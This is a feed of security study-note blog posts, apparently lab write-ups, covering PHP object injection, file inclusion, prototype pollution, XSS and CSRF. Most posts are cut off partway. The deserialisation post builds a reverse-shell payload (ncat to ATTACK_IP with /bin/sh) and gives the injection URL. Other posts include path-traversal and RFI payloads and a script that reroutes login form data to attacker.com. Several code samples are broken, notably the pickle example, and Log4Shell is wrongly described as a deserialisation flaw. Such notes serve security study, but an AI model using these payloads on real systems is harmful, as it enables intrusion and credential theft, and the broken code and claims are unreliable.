- Domain Controllers: Allow us to manage the Active Directory Domain. These devices are often deemed the most sensitive devices within the network as they contain hashed passwords for all user accounts within the environment.

6. Group Policy Objects (GPOs)

So far, we have organised users and computers in OUs just for the sake of it, but the main idea behind this is to be able to deploy different policies for each OU individually. That way, we can push different configurations and security baselines to users depending on their department.

Insecure deserilization

Mon, 09 Feb 2026 00:00:00 +0000

Introduction

Insecure deserialisation exploits occur when an application trusts serialised data enough to use it without validating its authenticity.
This trust can lead to disastrous outcomes as attackers manipulate serialised objects to achieve remote code execution, escalate privileges, or launch denial-of-service attacks.
This type of vulnerability is prevalent in applications that serialise and deserialise complex data structures across various programming environments, such as Java, .NET, and PHP, which often use serialisation for remote procedure calls, session management, and more.

Some Basics

Serialization

Think of serialisation is like taking different pieces of information and putting them together to make them easy to store or send to anywhere.
In programming, serilization is a process of tranforming an object’s state into a human-readable or binary format that can be stored or transmitted and reconstructed as and when required.
This capability is essential in applications where data must be transferred between different parts of a system. or across network, such as in web based applications.
In PHP, this process is performed using the serialize()

Example:

<?php
$noteArray = array("title" => "My THM Note", "content" => "Welcome to THM");
$serialisedNote = serialize($noteArray); // converting the note into a storable format
file_put_contents('note.txt', $serialisedNote); // saving the serialized note into a file
?>

Derialization

Think of deserilization is like taking the packed-up data and turns it back into something you can use.
It is process of converting the formated data back into an object. It’s crucial for retriving files, databases, or across networks, restoring it to its oringinal state for usage in applications.

Example:

<?php
$serialisedNote = file_get_contents('note.txt'); // Reading the serialised note from the file
$noteArray = unserialize($serialisedNote); // Converting the serialised string back into a PHP array
echo "Title: " . $noteArray['title'] . "<br>";
echo "Content: " . $noteArray['content'];
?>

Specific Incidents Involving Serialisation Vulnerabilities

Log4j Vulnerability CVE-2021-44228: or Log4shell, is a critical flaw found in the Apache Log4j 2 library, a widely used logging library in Java applications. It allows remote attackers to execute arbitary code on affected sysytems by exploiting the library’s insecure deserilization functionality.
WebLogic Server RCE CVE-2015-4852: was related to how the Oracle web logice server deserilized data was sent to the T3 protocol. Attackers could send maliciously crafted objects to the server, which, when deserilized, led to RCE.
Jenkins Java Deserilization CVE-2016-0792: A popular automation server used in software development, experianced a critical vulnerability involving java deserilization. Attackers could send crafted serialisation payloads to jenkins CLI, which, when deserilized, could allow arbitary code execution.

Serialization formats

While different programming languages may use varying keywords and functions for serialization, the underlying principle remains consistant.
Whether Java, Python, .NET, or PHP, each language implements serialization to accommodate specific features or security measures inherent to its environment.
Unlike other vulnerabilities that exploit the immediate processing of user inputs, insecure deserialisation problems involve a deeper interaction with the application core logic, often manipulating behaviour of its components.

PHP Serialization

In PHP, serialisation is accomplished using the serialize() function which converts a PHP object or array into a byte stream representing the object’s data and structure. T
The resulting byte stream can include various data types, such as strings, arrays, and objects, making it unique.
To illustrate this, let’s consider a notes application where users can save and retrieve their notes.

class Notes {
 public $Notescontent;
 public function __construct($content) {
 $this->Notescontent = $content;
 }
}

$note = New Notes("Welcome to THM");
$serialized_note = serilize($note)
print "$serialized_note"
// O:5:"Notes":1:{s:7:"content";s:14:"Welcome to THM";}
/*
0:5:"Notes":1: --> an object of the class Notes, which has one property
s:7:"content" --> property name "content" with length of 7 chars. In serialized data,strings are represented with `s` follwoed by length of the string and the string in double quotes.
s:14:"Welcome to THM" --> this is value of the "content" property, with length of 14 chars.
*/

When user saves note, we serialize the Notes class object using PHP’s serialize() function. This converts the object into a string representation that can be stored in a file or database.
PHP provides several magic methods that play crucial roles in the serialisation process.
- __sleep(): Its called on an object before serialization. It can clean up resources, such as database connections,and is expected to return an array of property names that should be serialized.
- __wakeup(): Its invoked upon deserilization. It can re-establish any connections that the object might need to operate correctly.
- __serialize(): As of PHP 7.4, it enables you to customize the serialization data by returning an array representing the object’s serialized form.
- __unserialize(): This is counter part of __serialize() allows for customizing the restoration of an object from its serialised data.

Python Serialization

Python uses a module called Picke to serialize and deserialize objects. This module, converts a python object into a byte stream (and vice versa), enabling it to be saved to a file or transmitted over a network.
Pickling is a powerfull tool for python developers because it handles almost all types of python objects without needing manual handling of object’s state.

Lets have look here, with Notes application same like in PHP.

import pickle
import base64
# ..... Un serializing .....#

serialized_data = request.form['serialized_data']
# Why base64? Serialised data is binary and not safe for display in all environments. 
notes_obj = pickle.loads(base64.b64decode(serialized_data))
message = "Notes successfully unpickles."

# ... Serailizing ..........#
elif request.method = 'POST':
 if 'pickle' in request.form:
 content = request.form['note_content']
 netes_obj.add_note(content) # a method to add note 
 pickled_content = picke.dumps(notes_obj)
 serialized_data = base64.b64decode(pickled_content).decode('utf-7')
 binary_data = ' '.join(f'{x:02x}' for x in pickled_content)
 message = "Notes pickled successfully

Please have a look on below screenshot for better clarity.

Java Serialization

In Java, object serialisation is facilitated through the Serializable interface, allowing objects to be converted into byte streams and vice versa, which is essential for network communication and data persistence.

.Net Serialization

.NET serialisation has evolved significantly over the years.
Initially, BinaryFormatter was commonly used for binary serialisation; however, its use is now discouraged due to security concerns.
Modern .NET applications typically use System.Text.Json for JSON serialisation, or System.Xml.Serialization for XML tasks, reflecting a shift towards safer, more standardised data interchange formats.

Ruby Serialization

Ruby offers simplicity with its Marshal module, which is renowned for serialising and deserialising objects, and for more human-readable formats, it often utilises YAML.

Identification

Access to the Source Code:

When access to the source code is available, identifying serialisation vulnerabilities can be more straightforward but requires a keen understanding of what to look for.
For example, through code review, we can examine the source code for uses of serialisation functions such as serialize(), unserialize(), pickle.loads(), and others. We must pay special attention to any point where user-supplied input might be passed directly to these functions.

No Access to the Source Code

When auditing an application without access to its source code, the challenge lies in deducing how it processes data based solely on external observations and interactions. This is commonly referred to as black-box testing.
Here, we focus on detecting patterns in server responses and cookies that might indicate the use of serialisation and potential vulnerabilities.
As a pentester, appending a tilde ~ at the end of a PHP file name is a common technique attackers use to try to access backup or temporary files created by text editors or version control systems.
When a file is edited or saved, some text editors or version control systems may make a backup copy of the original file with a tilde appended to the file name.
Analysing Server Responses
- Error messages: Keenly serach for object serailizatio errors, etc..
- Inconsistencies in application behaviour with manipuated input can suggest issues with how data is deserialized.

Question: Visit the URL http://10.48.132.82/who/index.php and identify what is the user-defined function used for serialisation?

Hint: Try to access backup or temporary files.
We can access backup or temporary files by appending a tilde ~ at the end of a PHP file name. Just like ‘http://10.48.132.82/who/index.php~’
name = $name; $this->age = $age; } } function HelloTHMSerialization($obj) { return serialize($obj); } $obj = new Test("THM", 30); $serializedData = HelloTHMSerialization($obj); echo $serializedData; ?>
Answer: HelloTHMSerialization

Exploitation - Object Injection

It is a vulnerability that arises from insecure data data serialization applicaitons.
It occurs when untrusted data is deserilized into an object, allowing attackers to manipulate the serialized data to execute arbitary code, leading to serious security risks.
As we know, the vulnerability arises from the process of serialization and deserialization, which allows php objects to be converted into storable format (serialization) and constructed back into objects (deserilization).
While serialization and deserilization are useful for data storage, and transmission, they can also introduce security risks if not properly implemented.
To exploit a PHP object injection vulnerability, the application class should include a class featuring a PHP magic method (like __wakeup or __sleep) that can be exploited for malicious purposes.
All classes involved in the attack should be declared before calling the unserialize() method (unless object autoloading is supporeted)

Example:

Lets consider an index.php code snippet that shows the serialization and deserilization using the serialize() and deserilize() functions.

<?php

// index.php 

class UserData {
 private $data;
 public function __construct($data) {
 $this->data = $data;
 }
..
require 'test.php';
if(isset($_GET['encode'])) {
 $userData = new UserData($_GET['encode']);
 $serializedData = serialize($userData);
 $base64EncodedData = base64_encode($serializedData);
 echo "Normal Data: " . $_GET['encode'] . "<br>";
 echo "Serialized Data: " . $serializedData . "<br>";
 echo "Base64 Encoded Data: " . $base64EncodedData;

} elseif(isset($_GET['decode'])) {
 $base64EncodedData = $_GET['decode'];
 $serializedData = base64_decode($base64EncodedData);
 $test = unserialize($serializedData);
 echo "Base64 Encoded Serialized Data: " . $base64EncodedData . "<br>";
 echo "Serialized Data: " . $serializedData;

...
?>

if we send the input hellothm via the URL http://10.48.132.82/case2/?encode=hellothm, we will get the following output:
We see that the code includes a file called test.php. From a source code review or considering whether the framework is open source, the pentester knows that test.php contains a class called MaliciousUserData as shown below:
```
<?php
class MaliciousUserData {
public $command = 'ncat -nv ATTACK_IP 10.10.10.1 -e /bin/sh'; // call to troubleshooting server

 public function __wakeup() { 
 exec($this->command);
...

?>
```
In the above, its possible to manipulate the properties of the object, including altering the command property of MaliciousUserData.
For instance, if we want to modify command to execute a different command or connect to different server, we can serialise an object with the desired property value, and then inject into the vulnerable unserialize() function.
This way, we have manipulated property value, will be loaded into the object.
Please not the we cant able to modify the function __wakeup() itself, instead we can modify the behaviour or properties of the object within the __wakeup method. So, it means that while the function’s definition remains constant, but its actions upon deserialization can be manipulated to achieve different outcomes.

Perparing the payload

let’s create some php code that generate malicious serialized user data.

<?php
// exploit.php
class MaliciousUserData {
 public $command = 'ncat -nv ATTACK_IP 4444 -e /bin/sh';
}

$maliciousUserData = new MailiciousUserData();
$serializedData = serialize($maliciousUserData);
$base64EncodeData = base64_encode($serializedData);
echo "Base64 Encoded Serialized Data: " . $base64EncodeData;
?>

Replace here ATTACK_IP with yours and start listener your side with netcat.
And run php exploit.php, you will get the injectable base64 encoded serialized string..
Now, inject it, using the url as something like: http://10.48.172.206/case2/?decode=TzoxNzoiTWFsaWNpb3VzVXNlckRhdGEiOjE6e3M6NzoiY29tbWFuZCI7czo0MToibmNhdCAtbnYgMTkyLjE2OC4xMjguMTAwIDQ0NDQgLWUgL2Jpbi9zaCI7fQ==
You will get revershell, and access the flag inside.

Automation scripts

PHP Gadge Chain (PHPGGC):

It automates discovery of insecure vulnerabilities.

Protocols and Servers

Sat, 20 Jan 2024 00:00:00 +0000

Telnet

Telnet ( an application layer protocol) is relatively simple.
When user connects, asks for credentials. Upon authentication, the user will access remote system’s terminal. Unfortunately, all this communication between the client and telnet server is not encrypted, makingit an easy target for attackers.
A telnet server uses Telnet protocol to listen for incoming connections on port 23.
Its is no longer considered a secure option, expecially that anyone capturing your traffic will be able to discover your credentials which would grant them remote access to the system. The secure alternative is Ssh.

File Transfer PRotocol

File Transfer Protocol (FTP) was developed to make the transfer of files between different computers with different systems efficient.

Windows Active Directory - Breaching

Mon, 27 Apr 2026 00:00:00 +0000

1. Introduction

Before we can exploit AD misconfigurations for privilege escalation, lateral movement, and goal execution, you need initial access first. You need to acquire an initial set of valid AD credentials. Due to the number of AD services and features, the attack surface for gaining an initial set of AD credentials is usually significant. In this blog, we will discuss several avenues, but this is by no means an exhaustive list.
When looking for that first set of credentials, we don’t focus on the permissions associated with the account; thus, even a low-privileged account would be sufficient. We are just looking for a way to authenticate to AD, allowing us to do further enumeration on AD itself.
Two popular methods for gaining access to that first set of AD credentials is OSINT, and Phishing.

2. NTLM and NetNTLM

New Technology LAN Manager (NTLM) is the suit of security protocols used to authenticate user’s identities in AD.
NTLM can be used for authentication using a challenge-response-based scheme called NetNTLM. This mechanisms heavily used by services on a network. However, services that use NetNTLM can also be exposed to the internet, such as
- Internally-hosted Exchange (Mail) servers that expose an outlook webapp (OWA) login portal
- Remote Desktop protocol (RDP) service of server being exposed to the internet
- Exposed VPN endpoints that were integrated with AD.
- Web applications that are internet facing and make use of NetNTLM
NetNTLM allows the application (service) to play the role of a middle man between its client and AD. All authentication material (challenge-response) is forwarded to a Domain Controller in the form of a challenge, and if completed successfully, the application will authenticate the user.
This means that the application is authenticating on behalf of the user and not authenticating the user directly on the application itself. his prevents the application from storing AD credentials, which should only be stored on a Domain Controller.

4. LDAP Bind Credentials

Another method of AD authentication that applications can use is Lightweight Directory Access Protocol (LDAP) authentication. It is similar to NTLM authentication, but with LDAP authentication, the application directly verifies the user’s credentials. The application has a pair of AD credentials that it can use first to query LDAP and then verify the AD user’s credentials.
LDAP authentication is a popular mechanism with third-party (non-microsoft) applications that integrate AD. The include applications such as:
- Gitlab
- Jenkins
- Custom-developed web apps
- Printers
- VPNs
If any of these applications or services are exposed on internet, they can be targeted for credential theft attacks similar to those used against NTLM-authenticated systems.
However, since a service using LDAP authentication requires a set of AD credentials, it opens up additional attack avenues. In essence, we can attempt to recover the AD credentials used by service to gain authenticated access to AD. The process of authentication through LDAP is shown below:
If you could you gain a foot hold on the correct host, such as gitlab server, it might be as simple as reading the configuration files to recover these AD credentials.

4.1 LDAP Pass-back Attacks

This is a common attack against network devices, such as printers, when you have gained initial access to the internal network, such as plugging in a rogue device in a boardroom.

Server Side Request Forgery (SSRF)

Fri, 13 Feb 2026 00:00:00 +0000

Introduction

SSRF is a web application security vulnerability that allows attacker to force the server to make unauthorized requests to any local or external source on behalf of web server. SSRF allows the attacker to interact with internal systems, potentially leading to data leaks, service disruption, or even RCE.
SSRF arises when user-provided data is used to construct a request, such as forming url. To execute an SSRF attack, an attacker can manipulate a parameter value within the vulnerable software, effectively creating or controlling requests from that software and directing towards the other servers or even the same server.

Password Attacks

Sat, 20 Jan 2024 00:00:00 +0000

Password cracking is considered one of the traditional techniques in pen-testing. The primary goal is to let the attacker escalate to higher privileges and access to a computer system or network. It is a technique performed locally or on systems controlled by the attacker.
Password guessing is a technique used to target online protocols and services. Therefore, it’s considered time-consuming and opens up the opportunity to generate logs for the failed login attempts. A password guessing attack conducted on a web-based system often requires a new request to be sent for each attempt, which can be easily detected.

Windows Active Directory - Enumeration

Fri, 01 May 2026 00:00:00 +0000

1. Introduction

Once we have that first set of AD credentials and the means to authenticate with them on the network, a whole new world of possibilities opens up! We can start enumerating various details about the AD setup and structure with authenticated access, even super low-privileged access.
During a red team engagement, this will usually lead to us being able to perform some form of privilege escalation or lateral movement to gain additional access until we have sufficient privileges to execute and reach our goals. In most cases, enumeration and exploitation are heavily entwined. Once an attack path shown by the enumeration phase has been exploited, enumeration is again performed from this new privileged position, as shown in the diagram below.

2. Credential Injection

2.1 Runas Explained

In security assessments, you will often have network access and have just discovered AD credentials but have no means or privileges to create a new domain-joined machine. So we need the ability to use those credentials on a Windows machine we control.
If we have the AD credentials in the format of
:
, we can use Runas, a legitimate Windows binary, to inject the credentials into memory. The usual Runas command would look something like this:
```
runas.exe /netonly /user:<domain>\<username> cmd.exe
```
Let’s look at the parameters:
- /netonly - Since we are not domain-joined, we want to load the credentials for network authentication but not authenticate against a domain controller. So commands executed locally on the computer will run in the context of your standard Windows account, but any network connections will occur using the account specified here.
- /user - Here, we provide the details of the domain and the username. It is always a safe bet to use the Fully Qualified Domain Name (FQDN) instead of just the NetBIOS name of the domain since this will help with resolution.
- cmd.exe - This is the program we want to execute once the credentials are injected. This can be changed to anything, but the safest bet is cmd.exe since you can then use that to launch whatever you want, with the credentials injected.

Once you run this command, you will be prompted to supply a password. Note that since we added the /netonly parameter, the credentials will not be verified directly by a domain controller so that it will accept any password. We still need to confirm that the network credentials are loaded successfully and correctly.

File Inclusion, Path Traversal

Wed, 18 Feb 2026 00:00:00 +0000

File inclusion and Path Traversal are vulnerabilities that arise when an application allows external input to change the path for accessing files.
In web applicaitions, the vulnerabilities primarily arise from improper handling of file paths and URLs. These vulnerabilities allow attackers to include files not intended to be a part of web application, leading to unauthorized access or RCE.
Server side scripting and file handling: Server-side scripts run on the server and generate the content of the frontend, which is then sent to the client. Unlike client-side scripts like JavaScript in the browser, server-side scripts can access the server’s file system and databases. Web applications often need to read from or write to files on the server. For example, reading configuration files, saving user uploads, or including code from other files.
For example, the application like https://test.com/lfi.php?page=/var/www/html/menu.php includes a file name based on user input. If this input is not correctly validated and sanitized, an attacker might might exploit the vulnerable parameter to include malicious files or access sensitive files on server. In this case, the attacker could view the contents of the server’s passwd file, so his payload could be https://test.com/lfi.php?page=../../../../etc/passwd or https://test.com/lfi.php?page=/etc/passwd.
Attackers can inject malicious payloads to log files /var/log/apache2/access.log and manipulate file paths to execute the logged payload, an attacker can achieve remote code execution. An attacker may also read configuration files that contain sensitive information, like database credentials, if the application returns the file in plaintext.

Files inclusion Types

Remote File Inclusion (RFI)

RFI is a vulnerability that allows attackers to include remote files, often through input manipulation. This can lead to the execution of malicious scripts or code on the server.
Typically, RFI occurs in applications that dynamically include external files or scripts. Attackers can manipulate parameters in a request to point to external malicious files.
For example, if a web application uses a URL in a GET parameter like include.php?page=http://attacker.com/exploit.php, an attacker can replace the URL with a path to a malicious script.

Local File Inclusion (LFI)

Local File Inclusion, or LFI, typically occurs when an attacker exploits vulnerable input fields to access or execute files on the server.
Attackers usually exploit poorly sanitized input fields to manipulate file paths, aiming to access files outside the intended directory.
For example, using a traversal string, an attacker might access sensitive files like include.php?page=../../../../etc/passwd.
While LFI primarily leads to unauthorized file access, it can escalate to RCE. This can occur if the attacker can upload or inject executable code into a file that is later included or executed by the server.
Techniques such as log poisoning, which means injecting code into log files and then including those log files, are examples of how LFI can lead to RCE.

Wrappers

PHP Wrappers are part of PHP’s functionality that allows users to access to various data streams. Wrappers can also access or execute code through built-in PHP protocols, which may lead to significant security risks if not properly handled.

Prototype Pollution

Wed, 18 Feb 2026 00:00:00 +0000

Introduction

Prototype pollution allowd bad actors to manipulate and exploit the inner workings of Javascript applications and enables attackers to gain access to sensitive data and application backend.
While this vulnerability is mostly discussed in context of Javascript, the concept can apply to any system that uses similar Prototype based inheritance model.
However, Javascript’s widespread use, particularly in web development, and its flexible and dynamic object model make prototype pollution a more prominent and relevant concern in this language.
In contrast, class-based inheritance languages like Java, C++ have a different model of inheritance where classes (blueprints of objects) are typically static, and altering a class at a runtime to affect all its instances is not a common practice or straight forward task.

Basics

Classes: Classes are like blueprints that help create multiple objects with similar structures and behaviours.
Prototype: Every object linked to prototype object, and these prototypes from a chain reffered as the prototype chain. The prototype serves as template or blueprint for objects. When you create an object using a constructor function or a class, javascript automatically setup a link between the object and its prototype.
Difference between class and prototype:
- With Classes, We will be having a clear, structured way to create objects that share the same properties and methods, making them easy to understand and use.
- With Prototypes, We can start with simple object and then add behaviours to it by linking it to prototype object that already has those behaviours. Objects created this way are linked though a prototype chain, allowing them to inherit behaviours from other objects. This method is more dynamic and flexibel but can be harder to manage and understand than the structured approach of classes.
- Prototype object creation: object.create()

Common Example:

Lets understand how attacker can manipulate the behaviour of the introduce method across all instances by altering prototypes.

// Base Prototype for Persons
let personPrototype = {
 introduce: function() {
 return `Hi, I'm ${this.name}.`;
}
};

// Person Constructor Function
function Person(name) {
 let person = Object.create(personPrototype);
 person.name = name;
 return person;
}

// Creating an instance
let ben = Person('Ben');

// Attakcer's payload
ben.__proto__.introduce = fuction(){console.log("You have been hacked, I'm bob");}
console.log(ben.introduce());
// this not only changes ben's introduce, but also its prototype, and whichever object has this prototype chain link.
// lets say, if its create josh, whats it introduce name will be?
let josh = Person('Josh');
console.log(josh.introduce()); // hope you have got it??

Exploitation - Standard approach

As we know, constructor and __proto__ properties present on object stand out as a notable targets for exploitation by threat actors.
constructor property points to function, that constructs an object’s prototype.
While __proto__, is a reference to the prototype object that the current object directly inherits from.
Golden Rule:
- The concept hinges on an attacker’s ability to influence certain key parameters, such as x and val in expresions similar to Person[x][y] = val. Suppose an attacker assigns __proto__ to x. In that case, the attribute indentified by y is universally set across all objects shareing the class as the object with the value denoted by val.
- In a more intricate scenario, when an attacker has control over x, y, and val in a structure like Person[x][y][z] = val, assigning x as a constuctor and y as prototype leads to a new property defined by z being established across all objects in the application with the assigned val. This latter approach necessitates a more complex arrangement of object properties, making it less prevalent in practice.

Few importan Fuctions

When identifying the prototype pollution vulnerabilities, penetration testers should focus on commonly used vectors/fuctions susceptible to prototype pollution. A thorough examination of how an application handles object manipulation is crucial. We will understand few important fuctions that an attacker exploit, and then we will practically perform exploitation.
Property Definition by Path: FUctions that set object properties based on a given path (like object[a][b][c] = value) can be dengerous if the path components are controlled by user input. These functions should be inspected to ensure they dont inadvertently modify the object’s prototype.
Example:
- Intial object structure
```
let friends = [ { id: 1, name: "testuser", age: 25, country: "UK", reviews: [], albums: [{ }], password: "xxx", } ]; 
_.set(friend, input.path, input.value);
```
- Input received from user: User wants to add a review for their fried. They provide a payload containing the path where the review should be added (review.content) and the review content (<script>alert(anycontent)</script>). An attacker now updates path to target the prototype
```
{"path": "reviews[0].content", "value": "&#60;script&#62;alert('anycontent')&#60;/script&#62;" };
// we use the _set function from lodash to apply the payload and add the review content to specified path with in friend's profile object.
```
- Resulting object structure: After executing code, the friends array will be modified to include the user’s review. However, due to lack of proper input validation, the review content provided by user (<script>alert('anycontent')</script>) was directly added to profile object without proper sanitization.
```
let friends = [
 {
 id: 1,
 name: "testuser",
 age: 25,
 countrty: "UK",
 review: [
 "<script>/alert('anycontent')</script>"
 ],
 albums: [{}],
 password: "xxx"
 }
]
```
- Similarly, suppose the attacker wants to insert a malicious property into the friend’s profile. In that case, they provide a payload containing the path where the property should be added (isAdmin) and the value for the malicious property (true).
```
const paylaod = { "path": "isAdmin", "value": true}
```
- AFter executing the code, the friends array will be modified to include the malicious property isAdmin in the friend’s profile object.

Exploitation - Property Injection

Few Important fuctions

Object Recursive merge: This function involves recursively merging properties from source objects into a target object. An attacker can exploit this functionality if the merge function does not validate its inputs and allows merging properties into the prototype chain. Considering the same example, lets assume following code.

Cross Site Scripting (XSS)

Wed, 25 Feb 2026 00:00:00 +0000

Introduction

XSS remains one of the common vulnerabilities that threaten web applications to this day. XSS attacks rely on injecting a malicious script in a benign website to run on a user’s browser. In other words, XSS attacks exploit the user’s trust in the vulnerable web application, hence the damage.
One of the earliest XSS vulnerabilities recognized in 199 and lead to CERT advisory CA-2000-02. Over the past decades, various robust web security practices have become part of modern web application frameworks, protecting against XSS vulnerabilities by default.

Basics

As stated, XSS allows an attacker to inject malicious scripts into a web page viewed by another user. Consequently, they bypss the Same-Origin-Polity (SOP).
SOP is a security mechanism implemented in modern web browsers to prevent a malicious script on one web page from obtaining access to sensitive data on another page. SOP defines origin based on the protocal, hostname, and port.
Consequently a malicious ad cannot access data or manipulate the page or its functionality on another origin.
XSS dodges SOP as it is executing from same origin.

Java script for XSS

XSS is a client side attack that takes place on target’s web browser, we should try out attacks on a browser similar to that of target. It is worth noting that different browsers process certain code snippets differently.
Let’s review and try some essential JS functions
- Alert: Use alert() function to display a alert in web browser.
- Console log: console.log() to display contents in the browser console.
- Encoding: btoa("string") encodes a string of binary data to create a base64-encoded ASCII string. And the reverse atob("base64_string").

Types of XSS

For basics, Kindly refer to basics of XSS:
- Reflected XSS: This attack relies on the user-controlled input reflected to the user. For instance, if you search for a particular term and the resulting page displays the term you searched for (reflected), the attacker would try to embed a malicious script within the search term.
- Stored XSS: This attack relies on the user input stored in the website’s database. For example, if users can write product reviews that are saved in a database (stored) and being displayed to other users, the attacker would try to insert a malicious script in their review so that it gets executed in the browsers of other users.
- DOM-based XSS: This attack exploits vulnerabilities within the Document Object Model (DOM) to manipulate existing page elements without needing to be reflected or stored on the server. This vulnerability is the least common among the three.

Causes and Implications

What makes XSS Possible???

Insuffient input validations and sanitizations
Lack of output encoding: User can use various characters to atler how a web browser processes and displays a web page. For HTML part, it is critical to properly encode characters such <,>,',", and & into their respective HTML encoding. In Java script, special attention should be given to escape '," and \. Failing to encode user-supplied data correctly is a leading cause of XSS vulnerabilities.
Improper use of security headers: A misconfigured CSP, such as overly permissive policies or the improper use of unsafe-inline or unsafe-eval direcives, can make it easier for the attacker to execute their XSS payloads.
Fremework and language vulnerabilites: Use of older and vulnerable libraries or frameworks.

Implications of XSS

Session hijacking: Steal session cookies, and victim impersonization.
Phising and credential theft: Fake login prompt to user with phishing..
Social engineering: Create legitimate looking pop-up or alert with in trusted website to trick users into clicking malicious links.
Content manipulation and defacement: Attacker may change website for other purposes, such as inflicting damage on the company’s reputation.
Date exfiltration: Exfiltrating any information displayed on the user’s browser like anything sensitive or personal data or financial information.
Malware installation: Using XSS to spread malware, it can deliver drive by download attacks on vulnerable webisite.

Reflected XSS

Its a type of XSS vulnerability, where a malicious script is reflected to user’s browser, often via a crafted URL or from submission.
Consider a search query containing <script>alert(document.cookie)</script>;. Many users wouldn’t be suspicious about such a URL, even if they look at it up closse. If processed by a vulnerable web application, it executed within context of user’s browser.

Stored XSS

It occurs when the application stores user-supplied input and later embeds it in web pages served to other users without proper validation or sanitization.
Examples include webforum posts, product reviews, user comments, and other data stores.
It begins when an attacker injecting a malicious script in an input field of a vulnerable web applicaition, which might lie in how web app processes the data in the comment box, forum post, or profile information section.
When other users access this stored content, the injected malicious script executes within their browser. The script can perform wide range of actions, from stealing session cookies to performing actions on behalf of the user without their consent.

Preventing Stored XSS in different languages

PHP: Use htmlspecialchars() function ensures all special characters are converted to their HTML entities, preventing them from being executed as code. Also if you are worring about sql injection, mysqli_real_escape_string() or PDO::quote() can be used.
Javascript(Node.js): Use sanitizeHtml() function from sanitize-html package to sanitize HTML input.
Python: Use html.escape() or markupsafe.escape() function to escape HTML special characters, and urllib.parse.quote() to escape URL special characters.
C# (ASP.NET): Use HttpUtility.HtmlEncode() function to encode HTML special characters, and HttpUtility.UrlEncode() to encode URL special characters.

DOM based XSS

DOM-based XSS vulnerabilities take place within the browser. They don’t need to go to the server and return to the client’s web browser.
In other words, the attacker will try to exploit this situation by injecting a malicious script, for example, into the URL, and it will be executed on the client’s side without any role for the server in this process.
Lets understand some basics of DOM
DOM is a programming interface for web documents. It represents the page so that programs can change the document structure, style, and content.

Have a look at below use cases

// this is how we create and append an element
const div = document.createElement("div");
const p = document.createElement("p");
div.append(p);
console.log(div.childNodes);

// This is a simple example of DOM based XSS
const name = document.getElementById("name");
name.innerHTML = "<script>alert(document.cookie)</script>";

// This is how we steal the cookies of a user
const name = document.getElementById("name");
name.innerHTML = "<script>alert(document.cookie)</script>";

// This is a complex example of DOM based XSS
// This can be used to manipulate form data and submit it to another location
// It uses a fake form which replicate the original, and submits it to the attacker's server
const form = document.getElementById("login-form");
temp0.addEventListener("submit", (event) => {
 event.preventDefault();
 const formData = new FormData(form);
 const fakeForm = document.createElement("form");
 fakeForm.method = "POST";
 fakeForm.action = "https://attacker.com/login";
 for (const [key, value] of formData.entries()) {
 const input = document.createElement("input");
 input.type = "hidden";
 input.name = key;
 input.value = value;
 fakeForm.appendChild(input);
 }
 document.body.appendChild(fakeForm);
 fakeForm.submit();
});

Vulnerable “Static Site”

consider a static site, where the content is generated at runtime and presented in DOM. Fixes are updated as comments in the code.

<!-- This page expects user to provide their name with ?name= -->
<!-- What if user provides ?name=<script>alert(document.cookie)</script> -->
<!-- It will execute the script and alert the cookies -->
<!DOCTYPE html>
<html>
<head>
 <title>Vulnerable Page</title>
</head>
<body>
 <div id="greeting"></div>
 <script>
 const name = new URLSearchParams(window.location.search).get('name');
 // We can fix it by escaping the user input to prevent the XSS attacks
 // name = encodeURIComponent(name);
 const greeting = document.getElementById("greeting");
 // Instead of using innerHTML, we can just use textContent, which will not execute the user input
 // greeting.textContent = "Hello, " + name;
 greeting.innerHTML = "Hello, " + name;
 </script>
</body>
</html>

Context and Evasion

Injected payload will most likely find its way within one of the following:
- Between HTML tags
- Within HTML tags
- Inside of JavaScript
When XSS happens between the tags, the attacker can run <script>alert(document.cookie)</script>
However, when injection is within an HTML tag, we need to end the HTML tag to give the script a turn to load. Consequently, we might adapt our payload to ><script>alert(document.cookies)</script> or "><script>alert(document.cookies)</script> or something similar that would fit the context.
We might need to terminate the script to run the injected one if we can inject our XSS within existing javascript. For instance, we can start with </script> to terminate the existing script and then inject our own script. If your code is within a javascript string, you can close string with ', to complete the command with a semicolon, execute your command, and comment out the rest of the line with //. You can try something like this ';alert(document.cookies)//

Evasion

Various repositories can be consulted to build ou custom XSS payloads. This gives you plenty of room for experimentation. One such list is the XSS Payloads list

Cross Site Request Forgery (CSRF)

Fri, 27 Feb 2026 00:00:00 +0000

Introduction

CSRF is a type of security vulnerability where an attacker tricks a user’s web browser into performing an unwanted action on a trusted site where the user is authenticated.
This is achieved by exploiting the fact that the browser includes any relevant cookies (credentials) automatically, allowing the attacker to forge and submit unauthorised requests on behalf of the user (through the browser).
The attacker’s website may contain HTML forms or JavaScript code that is intended to send queries to the targeted web application.

Cycle of CSRF

A CSRF has three essential phases:
- Phase:1 attacker already knows the format of web application’s requests to carry out a particular task and sends a malicious link to the user.
- Phase:2 The victim’s identity on the website is verified, typically by cookies transmitted automatically with each domain request and clicks on link shared by attacker. This interaction could be a click, mouse over, or any other action.
- Phase:3 Insufficient security measures prevent web application from distiguishing between authorized and unauthorized requests, leading to the execution of the attacker’s malicious request.

Effects of CSRf

Risks associated with the CSRF include:
Unauthorized access: Access and control user’s actions, putting them at risk of losing money, damaging their reputation, and facing legal consequences.
Exploit Trust: CSRF exploits the trust websites put in their users, undermining the sense of security in online browsing.
Stealthy Exploitation: It works queitly, using standard browser behaviour without needing adavanced malware. Users might be unaware of the attack, making them susceptible to repeated exploitation.

Type of CSRF

Traditional CSRF

Conventional CSRF attacks frequently concentrate on state-changing actions carried out by submitting forms.
The victim is tricked into submitting a form without realising the associated data like cookies, URL parameters etc
The victim’s web browser sends http request to a web application from where the victim has already been authenticated.
These forms are made to transfer money, modify account information, or alter an email address.

XMLHttpRequest CSRF

An asynchronus CSRF exploitation occurs when operations are intiated without a complete page request-response cycle.
This is typical of contemporary online apps that leverage asynchronous server communication (via XMLHttpRequest or Fetch API) and JavaScript to produce more dynamic user interfaces.
These attack use asynchronus calls instead of the more conventional form submision. Still, they exploit the same trust relationship between the user and the online service.
Consider an online email client, for instance, where users may change their email preferences without reloading the page. If this online application is CSRF-vulnerable, a hacker might create a fake asynchronous HTTP request, usually a POST request, and alter the victim’s email preferences, forwarding all their correspondence to a malicious address.

Flash based CSRF

The term “Flash-based CSRF” describes the technique of conducting a CSRF attack by taking advantage of flaws in Adobe Flash Player components.
Internet applications with features like interactive content, video streaming, and intricate animationsflash based csrf have been made possible with Flash. But over time, security flaws in Flash, particularly those that can be used to launch CSRF attacks, have become a major source of worry.
As HTML5 technology advanced and security flaws multiplied, official support for Adobe Flash Player ceased on December 31, 2020.
